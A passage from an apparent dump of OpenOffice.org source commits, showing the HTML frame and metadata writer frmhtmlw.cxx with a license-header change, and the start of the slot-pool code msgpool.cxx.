rReloadURL));\n            }\n\n            OutMeta( rStrm, pIndent, sHTML_META_refresh, sContent, TRUE,\n                      eDestEnc, pNonConvertableChars );\n        }\n\n        \/\/ Author\n        const SfxStamp& rCreated = pInfo->GetCreated();\n        const String& rAuthor = rCreated.GetName();\n        if( rAuthor.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_author, rAuthor, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ created\n        const DateTime& rCreatedDT = rCreated.GetTime();\n        String sOut(\n            String::CreateFromInt32( (sal_Int32)rCreatedDT.GetDate() ) );\n        (sOut += ';') +=\n            String::CreateFromInt32( (sal_Int32)rCreatedDT.GetTime() );\n        OutMeta( rStrm, pIndent, sHTML_META_created, sOut, FALSE, eDestEnc, pNonConvertableChars );\n\n        \/\/ changedby\n        const SfxStamp& rChanged = pInfo->GetChanged();\n        const String& rChangedBy = rChanged.GetName();\n        if( rChangedBy.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_changedby, rChangedBy, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ changed\n        const DateTime& rChangedDT = rChanged.GetTime();\n        sOut = String::CreateFromInt32( (sal_Int32)rChangedDT.GetDate() );\n        (sOut += ';') +=\n            String::CreateFromInt32( (sal_Int32)rChangedDT.GetTime() );\n        OutMeta( rStrm, pIndent, sHTML_META_changed, sOut, FALSE, eDestEnc, pNonConvertableChars );\n\n        \/\/ Thema\n        const String& rTheme = pInfo->GetTheme();\n        if( rTheme.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_classification, rTheme, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ Beschreibung\n        const String& rComment = pInfo->GetComment();\n        if( rComment.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_description, rComment, FALSE,\n                      eDestEnc, pNonConvertableChars);\n\n        \/\/ Keywords\n        const String& rKeywords = pInfo->GetKeywords();\n        if( rKeywords.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_keywords, rKeywords, FALSE,\n                      eDestEnc, pNonConvertableChars);\n\n        \/\/ die Benutzer-Eintraege\n        USHORT nKeys = pInfo->GetUserKeyCount();\n\n        \/\/ Leere Eintraege am Ende werden nicht ausgegeben\n        while( nKeys && !pInfo->GetUserKey(nKeys-1).GetWord().Len() )\n            nKeys--;\n\n        for( USHORT i=0; i< nKeys; i++ )\n        {\n            const SfxDocUserKey& rUserKey = pInfo->GetUserKey(i);\n            String aWord( rUserKey.GetWord() );\n            aWord.EraseTrailingChars();\n            if( rUserKey.GetTitle().Len() )\n                OutMeta( rStrm, pIndent, rUserKey.GetTitle(), aWord, FALSE,\n                         eDestEnc, pNonConvertableChars );\n        }\n    }\n}\n\/*\nvoid SfxFrameHTMLWriter::OutHeader( rtl_TextEncoding eDestEnc )\n{\n    \/\/ <HTML>\n    \/\/ <HEAD>\n    \/\/ <TITLE>Titel<\/TITLE>\n    \/\/ <\/HEAD>\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_html ) << sNewLine;\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_head );\n\n    Out_DocInfo( Strm(), &pDoc->GetDocInfo(), \"\\t\", eDestEnc );\n    Strm() << sNewLine;\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_head, FALSE ) << sNewLine;\n\n\/\/! OutScript();            \/\/ Hier fehlen noch die Scripten im Header\n}\n*\/\n\nvoid SfxFrameHTMLWriter::Out_FrameDescriptor(\n    SvStream& rOut, const String& rBaseURL, const uno::Reference < beans::XPropertySet >& xSet,\n    rtl_TextEncoding eDestEnc, String *pNonConvertableChars )\n{\n    try\n    {\n        ByteString sOut;\n        ::rtl::OUString aStr;\n        uno::Any aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameURL\") );\n        if ( (aAny >>= aStr) && aStr.getLength() )\n        {\n            String aURL = INetURLObject( aStr ).GetMainURL( INetURLObject::DECODE_TO_IURI );\n            if( aURL.Len() )\n            {\n                aURL = URIHelper::simpleNormalizedMakeRelative(\n                    rBaseURL, aURL );\n                ((sOut += ' ') += sHTML_O_src) += \"=\\\"\";\n                rOut << sOut.GetBuffer();\n                HTMLOutFuncs::Out_String( rOut, aURL, eDestEnc, pNonConvertableChars );\n                sOut = '\\\"';\n            }\n        }\n\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameName\") );\n        if ( (aAny >>= aStr) && aStr.getLength() )\n        {\n            ((sOut += ' ') += sHTML_O_name) += \"=\\\"\";\n            rOut << sOut.GetBuffer();\n            HTMLOutFuncs::Out_String( rOut, aStr, eDestEnc, pNonConvertableChars );\n            sOut = '\\\"';\n        }\n\n        sal_Int32 nVal = SIZE_NOT_SET;\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameMarginWidth\") );\n        if ( (aAny >>= nVal) && nVal != SIZE_NOT_SET )\n            (((sOut += ' ') += sHTML_O_marginwidth) += '=') += ByteString::CreateFromInt32( nVal );\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameMarginHeight\") );\n        if ( (aAny >>= nVal) && nVal != SIZE_NOT_SET )\n            (((sOut += ' ') += sHTML_O_marginheight) += '=') += ByteString::CreateFromInt32( nVal );\n\n        sal_Bool bVal = sal_True;\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsAutoScroll\") );\n        if ( (aAny >>= bVal) && !bVal )\n        {\n            aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsScrollingMode\") );\n            if ( aAny >>= bVal )\n            {\n                const sal_Char *pStr = bVal ? sHTML_SC_yes : sHTML_SC_no;\n                (((sOut += ' ') += sHTML_O_scrolling) += '=') += pStr;\n            }\n        }\n\n        \/\/ frame border (MS+Netscape-Erweiterung)\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsAutoBorder\") );\n        if ( (aAny >>= bVal) && !bVal )\n        {\n            aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsBorder\") );\n            if ( aAny >>= bVal )\n            {\n                const char* pStr = bVal ? sHTML_SC_yes : sHTML_SC_no;\n                (((sOut += ' ') += sHTML_O_frameborder) += '=') += pStr;\n            }\n        }\n\n        \/\/ TODO\/LATER: currently not supported attributes\n        \/\/ resize\n        \/\/if( !pFrame->IsResizable() )\n        \/\/    (sOut += ' ') += sHTML_O_noresize;\n        \/\/\n        \/\/if ( pFrame->GetWallpaper() )\n        \/\/{\n        \/\/    ((sOut += ' ') += sHTML_O_bordercolor) += '=';\n        \/\/    rOut << sOut.GetBuffer();\n        \/\/    HTMLOutFuncs::Out_Color( rOut, pFrame->GetWallpaper()->GetColor(), eDestEnc );\n        \/\/}\n        \/\/else\n            rOut << sOut.GetBuffer();\n    }\n    catch ( uno::Exception& )\n    {\n    }\n}\n\nString SfxFrameHTMLWriter::CreateURL( SfxFrame* pFrame )\n{\n    String aRet;\n    SfxObjectShell* pShell = pFrame->GetCurrentDocument();\n    if( !aRet.Len() && pShell )\n    {\n        aRet = pShell->GetMedium()->GetName();\n\/\/!(dv)     CntAnchor::ToPresentationURL( aRet );\n    }\n\n    return aRet;\n}\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.10.132); FILE MERGED 2005\/09\/05 15:22:22 rt 1.10.132.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: frmhtmlw.cxx,v $\n *\n *  $Revision: 1.11 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-07 17:54:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _INETDEF_HXX\n#include <svtools\/inetdef.hxx>\n#endif\n\n\/\/!(dv) #include <chaos2\/cntapi.hxx>\n#ifndef GCC\n#pragma hdrstop\n#endif\n#ifndef _RTL_TENCINFO_H\n#include <rtl\/tencinfo.h>\n#endif\n\n#include <unotools\/configmgr.hxx>\n#include \"svtools\/urihelper.hxx\"\n\n#include \"docinf.hxx\"\n#include \"frmhtmlw.hxx\"\n#include \"evntconf.hxx\"\n#include \"frame.hxx\"\n#include \"app.hxx\"\n#include \"viewfrm.hxx\"\n#include \"docfile.hxx\"\n#include \"sfxresid.hxx\"\n#include \"objsh.hxx\"\n#include \"sfx.hrc\"\n#include \"bastyp.hrc\"\n\n\/\/ -----------------------------------------------------------------------\n\nusing namespace com::sun::star;\n\nextern sal_Char const sHTML_META_classification[];\n\nstatic sal_Char __READONLY_DATA sHTML_SC_yes[] =    \"YES\";\nstatic sal_Char __READONLY_DATA sHTML_SC_no[] =     \"NO\";\nstatic sal_Char __READONLY_DATA sHTML_SC_auto[] =   \"AUTO\";\nstatic sal_Char __READONLY_DATA sHTML_MIME_text_html[] =    \"text\/html; charset=\";\n\nstatic HTMLOutEvent __FAR_DATA aFrameSetEventTable[] =\n{\n    { sHTML_O_SDonload,     sHTML_O_onload,     SFX_EVENT_OPENDOC   },\n    { sHTML_O_SDonunload,   sHTML_O_onunload,   SFX_EVENT_PREPARECLOSEDOC   },\n    { sHTML_O_SDonfocus,    sHTML_O_onfocus,    SFX_EVENT_ACTIVATEDOC   },\n    { sHTML_O_SDonblur,     sHTML_O_onblur,     SFX_EVENT_DEACTIVATEDOC },\n    { 0,                    0,                  0                   }\n};\n\n#if defined(MAC)\nconst sal_Char SfxFrameHTMLWriter::sNewLine[] = \"\\015\";\n#elif defined(UNX)\nconst sal_Char SfxFrameHTMLWriter::sNewLine[] = \"\\012\";\n#else\nconst sal_Char __FAR_DATA SfxFrameHTMLWriter::sNewLine[] = \"\\015\\012\";\n#endif\n\nvoid SfxFrameHTMLWriter::OutMeta( SvStream& rStrm,\n                                  const sal_Char *pIndent,\n                                  const String& rName,\n                                  const String& rContent, BOOL bHTTPEquiv,\n                                     rtl_TextEncoding eDestEnc,\n                                  String *pNonConvertableChars  )\n{\n    rStrm << sNewLine;\n    if( pIndent )\n        rStrm << pIndent;\n\n    ByteString sOut( '<' );\n    (((sOut += sHTML_meta) += ' ')\n        += (bHTTPEquiv ? sHTML_O_httpequiv : sHTML_O_name)) += \"=\\\"\";\n    rStrm << sOut.GetBuffer();\n\n    HTMLOutFuncs::Out_String( rStrm, rName, eDestEnc, pNonConvertableChars );\n\n    ((sOut = \"\\\" \") += sHTML_O_content) += \"=\\\"\";\n    rStrm << sOut.GetBuffer();\n\n    HTMLOutFuncs::Out_String( rStrm, rContent, eDestEnc, pNonConvertableChars ) << \"\\\">\";\n}\n\nvoid SfxFrameHTMLWriter::Out_DocInfo( SvStream& rStrm, const String& rBaseURL,\n                                      const SfxDocumentInfo* pInfo,\n                                      const sal_Char *pIndent,\n                                         rtl_TextEncoding eDestEnc,\n                                  String *pNonConvertableChars  )\n{\n    const sal_Char *pCharSet =\n                rtl_getBestMimeCharsetFromTextEncoding( eDestEnc );\n\n    if( pCharSet )\n    {\n        String aContentType = String::CreateFromAscii( sHTML_MIME_text_html );\n        aContentType.AppendAscii( pCharSet );\n        OutMeta( rStrm, pIndent, sHTML_META_content_type, aContentType, TRUE,\n                  eDestEnc, pNonConvertableChars );\n    }\n\n    \/\/ Titel (auch wenn er leer ist)\n    rStrm << sNewLine;\n    if( pIndent )\n        rStrm << pIndent;\n    HTMLOutFuncs::Out_AsciiTag( rStrm, sHTML_title );\n    if( pInfo  )\n    {\n        const String& rTitle = pInfo->GetTitle();\n        if( rTitle.Len() )\n            HTMLOutFuncs::Out_String( rStrm, rTitle, eDestEnc, pNonConvertableChars );\n    }\n    HTMLOutFuncs::Out_AsciiTag( rStrm, sHTML_title, FALSE );\n\n    \/\/ Target-Frame\n    if( pInfo )\n    {\n        const String& rTarget = pInfo->GetDefaultTarget();\n        if( rTarget.Len() )\n        {\n            rStrm << sNewLine;\n            if( pIndent )\n                rStrm << pIndent;\n\n            ByteString sOut( '<' );\n            (((sOut += sHTML_base) += ' ') += sHTML_O_target) += \"=\\\"\";\n            rStrm << sOut.GetBuffer();\n            HTMLOutFuncs::Out_String( rStrm, rTarget, eDestEnc, pNonConvertableChars )\n                << \"\\\">\";\n        }\n    }\n\n    \/\/ Who we are\n    String sGenerator( SfxResId( STR_HTML_GENERATOR ) );\n    sGenerator.SearchAndReplaceAscii( \"%1\", String( DEFINE_CONST_UNICODE( TOOLS_INETDEF_OS ) ) );\n    OutMeta( rStrm, pIndent, sHTML_META_generator, sGenerator, FALSE, eDestEnc, pNonConvertableChars );\n\n    if( pInfo )\n    {\n        \/\/ Reload\n        if( pInfo->IsReloadEnabled() )\n        {\n            String sContent = String::CreateFromInt32(\n                                (sal_Int32)pInfo->GetReloadDelay() );\n\n            const String &rReloadURL = pInfo->GetReloadURL();\n            if( rReloadURL.Len() )\n            {\n                sContent.AppendAscii( \";URL=\" );\n                sContent += String(\n                    URIHelper::simpleNormalizedMakeRelative(\n                        rBaseURL, rReloadURL));\n            }\n\n            OutMeta( rStrm, pIndent, sHTML_META_refresh, sContent, TRUE,\n                      eDestEnc, pNonConvertableChars );\n        }\n\n        \/\/ Author\n        const SfxStamp& rCreated = pInfo->GetCreated();\n        const String& rAuthor = rCreated.GetName();\n        if( rAuthor.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_author, rAuthor, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ created\n        const DateTime& rCreatedDT = rCreated.GetTime();\n        String sOut(\n            String::CreateFromInt32( (sal_Int32)rCreatedDT.GetDate() ) );\n        (sOut += ';') +=\n            String::CreateFromInt32( (sal_Int32)rCreatedDT.GetTime() );\n        OutMeta( rStrm, pIndent, sHTML_META_created, sOut, FALSE, eDestEnc, pNonConvertableChars );\n\n        \/\/ changedby\n        const SfxStamp& rChanged = pInfo->GetChanged();\n        const String& rChangedBy = rChanged.GetName();\n        if( rChangedBy.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_changedby, rChangedBy, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ changed\n        const DateTime& rChangedDT = rChanged.GetTime();\n        sOut = String::CreateFromInt32( (sal_Int32)rChangedDT.GetDate() );\n        (sOut += ';') +=\n            String::CreateFromInt32( (sal_Int32)rChangedDT.GetTime() );\n        OutMeta( rStrm, pIndent, sHTML_META_changed, sOut, FALSE, eDestEnc, pNonConvertableChars );\n\n        \/\/ Thema\n        const String& rTheme = pInfo->GetTheme();\n        if( rTheme.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_classification, rTheme, FALSE,\n                      eDestEnc, pNonConvertableChars );\n\n        \/\/ Beschreibung\n        const String& rComment = pInfo->GetComment();\n        if( rComment.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_description, rComment, FALSE,\n                      eDestEnc, pNonConvertableChars);\n\n        \/\/ Keywords\n        const String& rKeywords = pInfo->GetKeywords();\n        if( rKeywords.Len() )\n            OutMeta( rStrm, pIndent, sHTML_META_keywords, rKeywords, FALSE,\n                      eDestEnc, pNonConvertableChars);\n\n        \/\/ die Benutzer-Eintraege\n        USHORT nKeys = pInfo->GetUserKeyCount();\n\n        \/\/ Leere Eintraege am Ende werden nicht ausgegeben\n        while( nKeys && !pInfo->GetUserKey(nKeys-1).GetWord().Len() )\n            nKeys--;\n\n        for( USHORT i=0; i< nKeys; i++ )\n        {\n            const SfxDocUserKey& rUserKey = pInfo->GetUserKey(i);\n            String aWord( rUserKey.GetWord() );\n            aWord.EraseTrailingChars();\n            if( rUserKey.GetTitle().Len() )\n                OutMeta( rStrm, pIndent, rUserKey.GetTitle(), aWord, FALSE,\n                         eDestEnc, pNonConvertableChars );\n        }\n    }\n}\n\/*\nvoid SfxFrameHTMLWriter::OutHeader( rtl_TextEncoding eDestEnc )\n{\n    \/\/ <HTML>\n    \/\/ <HEAD>\n    \/\/ <TITLE>Titel<\/TITLE>\n    \/\/ <\/HEAD>\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_html ) << sNewLine;\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_head );\n\n    Out_DocInfo( Strm(), &pDoc->GetDocInfo(), \"\\t\", eDestEnc );\n    Strm() << sNewLine;\n    HTMLOutFuncs::Out_AsciiTag( Strm(), sHTML_head, FALSE ) << sNewLine;\n\n\/\/! OutScript();            \/\/ Hier fehlen noch die Scripten im Header\n}\n*\/\n\nvoid SfxFrameHTMLWriter::Out_FrameDescriptor(\n    SvStream& rOut, const String& rBaseURL, const uno::Reference < beans::XPropertySet >& xSet,\n    rtl_TextEncoding eDestEnc, String *pNonConvertableChars )\n{\n    try\n    {\n        ByteString sOut;\n        ::rtl::OUString aStr;\n        uno::Any aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameURL\") );\n        if ( (aAny >>= aStr) && aStr.getLength() )\n        {\n            String aURL = INetURLObject( aStr ).GetMainURL( INetURLObject::DECODE_TO_IURI );\n            if( aURL.Len() )\n            {\n                aURL = URIHelper::simpleNormalizedMakeRelative(\n                    rBaseURL, aURL );\n                ((sOut += ' ') += sHTML_O_src) += \"=\\\"\";\n                rOut << sOut.GetBuffer();\n                HTMLOutFuncs::Out_String( rOut, aURL, eDestEnc, pNonConvertableChars );\n                sOut = '\\\"';\n            }\n        }\n\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameName\") );\n        if ( (aAny >>= aStr) && aStr.getLength() )\n        {\n            ((sOut += ' ') += sHTML_O_name) += \"=\\\"\";\n            rOut << sOut.GetBuffer();\n            HTMLOutFuncs::Out_String( rOut, aStr, eDestEnc, pNonConvertableChars );\n            sOut = '\\\"';\n        }\n\n        sal_Int32 nVal = SIZE_NOT_SET;\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameMarginWidth\") );\n        if ( (aAny >>= nVal) && nVal != SIZE_NOT_SET )\n            (((sOut += ' ') += sHTML_O_marginwidth) += '=') += ByteString::CreateFromInt32( nVal );\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameMarginHeight\") );\n        if ( (aAny >>= nVal) && nVal != SIZE_NOT_SET )\n            (((sOut += ' ') += sHTML_O_marginheight) += '=') += ByteString::CreateFromInt32( nVal );\n\n        sal_Bool bVal = sal_True;\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsAutoScroll\") );\n        if ( (aAny >>= bVal) && !bVal )\n        {\n            aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsScrollingMode\") );\n            if ( aAny >>= bVal )\n            {\n                const sal_Char *pStr = bVal ? sHTML_SC_yes : sHTML_SC_no;\n                (((sOut += ' ') += sHTML_O_scrolling) += '=') += pStr;\n            }\n        }\n\n        \/\/ frame border (MS+Netscape-Erweiterung)\n        aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsAutoBorder\") );\n        if ( (aAny >>= bVal) && !bVal )\n        {\n            aAny = xSet->getPropertyValue( ::rtl::OUString::createFromAscii(\"FrameIsBorder\") );\n            if ( aAny >>= bVal )\n            {\n                const char* pStr = bVal ? sHTML_SC_yes : sHTML_SC_no;\n                (((sOut += ' ') += sHTML_O_frameborder) += '=') += pStr;\n            }\n        }\n\n        \/\/ TODO\/LATER: currently not supported attributes\n        \/\/ resize\n        \/\/if( !pFrame->IsResizable() )\n        \/\/    (sOut += ' ') += sHTML_O_noresize;\n        \/\/\n        \/\/if ( pFrame->GetWallpaper() )\n        \/\/{\n        \/\/    ((sOut += ' ') += sHTML_O_bordercolor) += '=';\n        \/\/    rOut << sOut.GetBuffer();\n        \/\/    HTMLOutFuncs::Out_Color( rOut, pFrame->GetWallpaper()->GetColor(), eDestEnc );\n        \/\/}\n        \/\/else\n            rOut << sOut.GetBuffer();\n    }\n    catch ( uno::Exception& )\n    {\n    }\n}\n\nString SfxFrameHTMLWriter::CreateURL( SfxFrame* pFrame )\n{\n    String aRet;\n    SfxObjectShell* pShell = pFrame->GetCurrentDocument();\n    if( !aRet.Len() && pShell )\n    {\n        aRet = pShell->GetMedium()->GetName();\n\/\/!(dv)     CntAnchor::ToPresentationURL( aRet );\n    }\n\n    return aRet;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: msgpool.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 22:17:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _STREAM_HXX \/\/autogen\n#include <tools\/stream.hxx>\n#endif\n#ifndef _RSCSFX_HXX \/\/autogen\n#include <rsc\/rscsfx.hxx>\n#endif\n#ifndef GCC\n#pragma hdrstop\n#endif\n\n\/\/ wg. pSlotPool\n#include \"appdata.hxx\"\n#include \"msgpool.hxx\"\n#include \"minarray.hxx\"\n#include \"msg.hxx\"\n#include \"app.hxx\"\n#include \"objface.hxx\"\n#include \"sfxtypes.hxx\"\n#include \"macrconf.hxx\"\n#include \"sfxresid.hxx\"\n#include \"arrdecl.hxx\"\n#include \"module.hxx\"\n\n#include \"sfx.hrc\"\n\n\/\/====================================================================\n\nstruct SfxSIDRegistration_Impl\n{\n    String          _aGroup;\n    String          _aName;\n    USHORT          _nSID;\n};\n\nstruct SfxSlotType_Impl\n{\n    USHORT  nId;\n    TypeId  nType;\n\n    SfxSlotType_Impl( USHORT nTheId, TypeId nTheType ):\n        nId(nTheId), nType(nTheType)\n    {}\n};\n\nDECL_2BYTEARRAY(SfxSlotGroupArr_Impl, USHORT, 6, 4)\nDECL_PTRARRAY(SfxInterfaceArr_Impl, SfxInterface*, 6, 3)\nDECL_PTRARRAY(SfxSlotTypeArr_Impl, SfxSlotType_Impl*, 8, 8)\n\n\n\/\/====================================================================\n\nSfxSlotPool::SfxSlotPool( SfxSlotPool *pParent, ResMgr* pResManager )\n : _pGroups(0)\n , _pTypes(0)\n , _pParentPool( pParent )\n , _pResMgr( pResManager )\n , _pInterfaces(0)\n , _nCurGroup(0)\n , _nCurInterface(0)\n , _nCurMsg(0)\n , _pUnoSlots( 0 )\n{\n    if ( !_pResMgr )\n        _pResMgr = Resource::GetResManager();\n}\n\n\/\/====================================================================\n\nSfxSlotPool::~SfxSlotPool()\n{\n    _pParentPool = 0;\n    for ( SfxInterface *pIF = FirstInterface(); pIF; pIF = FirstInterface() )\n        delete pIF;\n    delete _pInterfaces;\n    delete _pGroups;\n    if ( _pTypes )\n    {\n        for ( USHORT n =_pTypes->Count(); n--; )\n            delete _pTypes->GetObject(n);\n        delete _pTypes;\n    }\n}\n\n\/\/====================================================================\n\n\/\/ registers the availability of the Interface of functions\n\nvoid SfxSlotPool::RegisterInterface( SfxInterface& rInterface )\n{\n    DBG_MEMTEST();\n\n    \/\/ add to the list of SfxObjectInterface instances\n    if ( _pInterfaces == 0 )\n        _pInterfaces = new SfxInterfaceArr_Impl;\n    _pInterfaces->Append(&rInterface);\n\n    \/\/ bei einem (einzelnen) Null-Slot abbrechen (aus syntaktischen Gr\"unden\n    \/\/ enthalten interfaces immer mindestens einen Slot)\n    if ( rInterface.Count() == 1 && !rInterface[0]->nSlotId )\n        return;\n\n    \/\/ possibly add Interface-id and group-ids of funcs to the list of groups\n    if ( !_pGroups )\n    {\n        _pGroups = new SfxSlotGroupArr_Impl;\n\n        if ( _pParentPool )\n        {\n            \/\/ Die Groups im parent Slotpool sind auch hier bekannt\n            SfxSlotGroupArr_Impl& rGroups = *_pParentPool->_pGroups;\n            for ( USHORT n=0; n<rGroups.Count(); n++ )\n                _pGroups->Append( rGroups[n] );\n        }\n    }\n\n    if ( !_pTypes )\n        _pTypes = new SfxSlotTypeArr_Impl;\n    for ( USHORT nFunc = 0; nFunc < rInterface.Count(); ++nFunc )\n    {\n        SfxSlot *pDef = rInterface[nFunc];\n        if ( pDef->GetGroupId() && \/* pDef->GetGroupId() != GID_INTERN && *\/\n             !_pGroups->Contains(pDef->GetGroupId()) )\n        {\n            if (pDef->GetGroupId() == GID_INTERN)\n                _pGroups->Insert(0, pDef->GetGroupId());\n            else\n                _pGroups->Append(pDef->GetGroupId());\n        }\n#if 0\n        const TypeId &rTypeId = pDef->GetType()->Type();\n        if ( \/*rTypeId != TYPE(SfxVoidItem) &&*\/ rTypeId != 0 )\n        {\n            USHORT nPos;\n            for ( nPos = 0; nPos < _pTypes->Count(); ++nPos )\n            {\n                if ( _pTypes->GetObject(nPos)->nId == pDef->GetSlotId() )\n                {\n                    DBG_ASSERT( rTypeId == _pTypes->GetObject(nPos)->nType,\n                                \"same slot id with unequal item types\" );\n                }\n                else if ( _pTypes->GetObject(nPos)->nId > pDef->GetSlotId() )\n                    break;\n            }\n            if ( nPos >= _pTypes->Count() ||\n                 _pTypes->GetObject(nPos)->nId > pDef->GetSlotId() )\n                _pTypes->Append( new SfxSlotType_Impl( pDef->GetSlotId(), rTypeId ) );\n        }\n#endif\n    }\n}\n\n\/\/====================================================================\n\nTypeId SfxSlotPool::GetSlotType( USHORT nId ) const\n{\n    const SfxSlot* pSlot = (const_cast <SfxSlotPool*> (this))->GetSlot( nId );\n    return pSlot ? pSlot->GetType()->Type() : 0;\n\/*\n    for ( USHORT nPos = 0; nPos < _pTypes->Count(); ++nPos )\n    {\n        if ( _pTypes->GetObject(nPos)->nId == nId )\n            return _pTypes->GetObject(nPos)->nType;\n    }\n    return _pParentPool ? _pParentPool->GetSlotType( nId ) : 0;\n *\/\n}\n\n\/\/====================================================================\n\n\/\/ unregisters the availability of the Interface of functions\n\nvoid SfxSlotPool::ReleaseInterface( SfxInterface& rInterface )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces, \"releasing SfxInterface, but there are none\" );\n    \/\/ remove from the list of SfxInterface instances\n    _pInterfaces->Remove(&rInterface);\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ get the first SfxMessage for a special Id (e.g. for getting check-mode)\n\nconst SfxSlot* SfxSlotPool::GetSlot( USHORT nId )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Zun\"achst die eigenen Interfaces absuchen\n    for ( USHORT nInterf = 0; nInterf < _pInterfaces->Count(); ++nInterf )\n    {\n        const SfxSlot *pDef = _pInterfaces->GetObject(nInterf)->GetSlot(nId);\n        if ( pDef )\n            return pDef;\n    }\n\n    \/\/ Dann beim eventuell vorhandenen parent versuchen\n    return _pParentPool ? _pParentPool->GetSlot( nId ) : 0;\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ skips to the next group\n\nString SfxSlotPool::SeekGroup( USHORT nNo )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ if the group exists, use it\n    if ( _pGroups && nNo < _pGroups->Count() )\n    {\n        _nCurGroup = nNo;\n        if ( _pParentPool )\n        {\n            \/\/ Meistens stimmt die Reihenfolge der Ids \"uberein\n            USHORT nParentCount = _pParentPool->_pGroups->Count();\n            if ( nNo < nParentCount && (*_pGroups)[nNo] == (*_pParentPool->_pGroups)[nNo] )\n                _pParentPool->_nCurGroup = nNo;\n            else\n            {\n                \/\/ Ansonsten mu\\s gesucht werden\n                \/\/ Wenn die Gruppe im parent pool nicht gefunden wird, wird\n                \/\/ _nCurGroup au\\serhalb des g\"ultigen Bereiches gesetzt\n                USHORT i;\n                for ( i=1; i<nParentCount; i++ )\n                    if ( (*_pGroups)[nNo] == (*_pParentPool->_pGroups)[i] )\n                        break;\n                _pParentPool->_nCurGroup = i;\n            }\n        }\n\n        SfxResId aResId( (*_pGroups)[_nCurGroup] );\n        aResId.SetRT(RSC_STRING);\n        if ( !aResId.GetResMgr()->IsAvailable(aResId) )\n        {\n            DBG_ERROR( \"GroupId-Name nicht im SFX definiert!\" );\n            return String();\n        }\n\n        return String( aResId );\n    }\n\n    return String();\n}\n\n\n\/\/--------------------------------------------------------------------\n\nUSHORT SfxSlotPool::GetGroupCount()\n{\n    return 